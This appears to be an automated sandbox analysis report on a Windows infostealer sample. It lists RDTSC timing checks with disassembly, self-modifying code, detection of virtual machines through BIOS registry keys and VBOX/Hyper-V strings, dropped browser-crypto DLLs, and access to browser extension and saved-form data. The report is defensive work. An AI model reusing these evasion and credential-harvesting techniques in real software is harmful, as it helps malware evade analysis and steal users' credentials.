Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9CEF6 second address: 6D9CF1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC110B5E09Ah 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e ja 00007FC110B5E096h 0x00000014 jnc 00007FC110B5E096h 0x0000001a jl 00007FC110B5E096h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9CF1C second address: 6D9CF29 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC110C3B038h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9D068 second address: 6D9D06C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9D06C second address: 6D9D088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007FC110C3B036h 0x0000000d jmp 00007FC110C3B03Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9D088 second address: 6D9D0A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FC110B5E0A9h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9D200 second address: 6D9D204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9D204 second address: 6D9D22B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110B5E09Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC110B5E0A0h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9D395 second address: 6D9D3B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FC110C3B048h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9D3B5 second address: 6D9D3B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9D3B9 second address: 6D9D3DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B03Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FC110C3B03Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007FC110C3B036h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9D3DB second address: 6D9D3DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9D56F second address: 6D9D575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9D575 second address: 6D9D57F instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC110B5E096h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9DC12 second address: 6D9DC16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9DC16 second address: 6D9DC3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FC110B5E0A7h 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9DC3B second address: 6D9DC4B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC110C3B036h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9DC4B second address: 6D9DC4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9E090 second address: 6D9E09A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC110C3B036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DA1E9E second address: 6DA1EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DA20FB second address: 6DA2101 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DA9EDC second address: 6DA9EEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110B5E09Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DAA1B1 second address: 6DAA1B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DAA1B7 second address: 6DAA1D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC110B5E0A9h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DAA5FC second address: 6DAA60F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC110C3B03Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DAA60F second address: 6DAA656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FC110B5E096h 0x0000000a popad 0x0000000b jnl 00007FC110B5E0A2h 0x00000011 popad 0x00000012 push edi 0x00000013 jg 00007FC110B5E0B0h 0x00000019 push eax 0x0000001a push edx 0x0000001b jp 00007FC110B5E096h 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DAA656 second address: 6DAA65A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DAB22A second address: 6DAB26A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110B5E09Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a add dword ptr [esp], 66C054EFh 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007FC110B5E098h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b stc 0x0000002c push ECF25652h 0x00000031 pushad 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DAB60B second address: 6DAB60F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DAB722 second address: 6DAB727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DAB727 second address: 6DAB742 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC110C3B03Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jc 00007FC110C3B048h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DAB742 second address: 6DAB746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DAB7F5 second address: 6DAB7FF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC110C3B036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DAB7FF second address: 6DAB805 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DAB805 second address: 6DAB809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DABF49 second address: 6DABF4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DABFB1 second address: 6DABFB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DABFB5 second address: 6DABFBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DAC314 second address: 6DAC31A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DAC43F second address: 6DAC453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC110B5E09Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DAC54F second address: 6DAC555 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DAD458 second address: 6DAD45C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DAE513 second address: 6DAE517 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DAE517 second address: 6DAE51D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DADCB0 second address: 6DADCC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FC110C3B03Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DADCC1 second address: 6DADCC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DAF0CC second address: 6DAF0D6 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC110C3B03Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6DB0F87 second address: 6DB0F91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FC110B5E096h 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Special instruction interceptor: First address: E6ED67 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Special instruction interceptor: First address: E6EE2E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Special instruction interceptor: First address: E6ED8F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Special instruction interceptor: First address: 1032E87 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Special instruction interceptor: First address: 10A5C5C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Special instruction interceptor: First address: 6BFDA70 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Special instruction interceptor: First address: 6DA08A2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Special instruction interceptor: First address: 6BFB31E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Special instruction interceptor: First address: 6DC7768 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Special instruction interceptor: First address: 6BFD9D2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Special instruction interceptor: First address: 6E294C1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Special instruction interceptor: First address: 83DA70 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Special instruction interceptor: First address: 9E08A2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Special instruction interceptor: First address: 83B31E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Special instruction interceptor: First address: A07768 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Special instruction interceptor: First address: 83D9D2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Special instruction interceptor: First address: A694C1 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window / User API: threadDelayed 1192	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window / User API: threadDelayed 1106	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window / User API: threadDelayed 1253	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window / User API: threadDelayed 1232	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window / User API: threadDelayed 1211	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window / User API: threadDelayed 1123	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window / User API: threadDelayed 1226	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 1147
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 1406

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Dropped PE file which has not been started: C:\Users\user\DocumentsAFCFHDHIII.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\IXP000.TMP\4w017y.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_1-2450
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_0-2339

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 2972	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 2972	Thread sleep time: -76038s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 4144	Thread sleep count: 1192 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 4144	Thread sleep time: -2385192s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 2020	Thread sleep count: 1106 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 2020	Thread sleep time: -2213106s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 2180	Thread sleep count: 1253 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 2180	Thread sleep time: -2507253s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 2104	Thread sleep count: 1232 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 2104	Thread sleep time: -2465232s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 6224	Thread sleep count: 1211 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 6224	Thread sleep time: -2423211s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 4416	Thread sleep count: 1123 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 4416	Thread sleep time: -2247123s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 2792	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 6484	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 1436	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 3652	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 6516	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 6576	Thread sleep count: 1226 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 6576	Thread sleep time: -2453226s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe TID: 2300	Thread sleep time: -34017s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Code function: 0_2_00212390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,		0_2_00212390
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Code function: 1_2_00352390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,		1_2_00352390

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe

Code function: 0_2_00215467 GetSystemInfo,CreateDirectoryA,RemoveDirectoryA,

0_2_00215467

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: 2h6379.exe, 00000003.00000002.2787859700.0000000000FEC000.00000040.00000001.01000000.00000005.sdmp, 3S96n.exe, 3S96n.exe, 0000001A.00000002.2851444510.00000000009C2000.00000040.00000001.01000000.00000016.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.11.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Web Data.11.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Web Data.11.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.11.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 2h6379.exe, 00000003.00000002.2789380320.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: 2h6379.exe, 00000003.00000003.2092490338.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: Web Data.11.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Web Data.11.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 2h6379.exe, 00000003.00000003.2679910586.000000000151C000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2059829749.0000000001522000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2251041301.0000000001522000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2680956566.000000000151C000.00000004.00000020.00020000.00000000.sdmp, 3S96n.exe, 0000001A.00000002.2852271212.0000000000D39000.00000004.00000020.00020000.00000000.sdmp, 3S96n.exe, 0000001A.00000002.2852271212.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
